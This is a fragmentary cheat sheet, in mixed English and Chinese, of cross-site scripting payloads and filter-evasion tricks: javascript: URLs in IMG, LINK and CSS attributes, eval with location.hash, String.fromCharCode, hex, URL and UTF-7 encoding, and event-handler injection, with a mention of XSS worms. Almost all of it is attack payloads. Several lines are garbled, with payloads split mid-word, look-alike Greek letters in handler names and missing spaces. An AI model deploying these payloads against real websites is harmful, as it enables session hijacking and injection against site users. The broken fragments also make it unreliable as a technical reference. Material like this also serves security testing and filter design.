[http://www.baidu.com]
www.google.com\abc
parse \ to /
www.google.com?abc
transfer to www/?abc
DOM construct payload make ' ' pair // annotate
interaction xss worm
<div style="background:url('javascript:alert("22")')"></div>
<!-- -->
<base>
event onclick etc
eval function
eval(alert("dd"))
location.hash.substr(1) just from #
www.g.com/a.php#alert(1)
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>
<script>alert(“xss”);</script> to hex
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%78%73%73%22%29%3b%3c%2f%73%63%72%69%70%74%3e
<BODY οnlοad="alert('XSS')">
<IMG SRC=""οnerrοr="alert('XSS')">
过滤了双引号和
<script>:
<IMGSRC=javascript:alert("XSS")>
使用
CharCode
绕过过滤
:
<IMGSRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMGSRC=javascript:al

1;rt('XSS')>
使用
Ascii
表你可以自己试试。当然转换成
16
进制也是可以的。。
<IMGSRC=javascript:al
;ert('XSS')>
<LINKREL="stylesheet"HREF="javascript
:
alert('XSS');"> low verison of ie
<IMGSRC=`javascript
:
alert("Lookits, 'XSS'")`>
使用
UTF-7
编码后
:
+ADw-script+AD4-alert(+ACI-XSS+ACI-)+ADw-/script+AD4-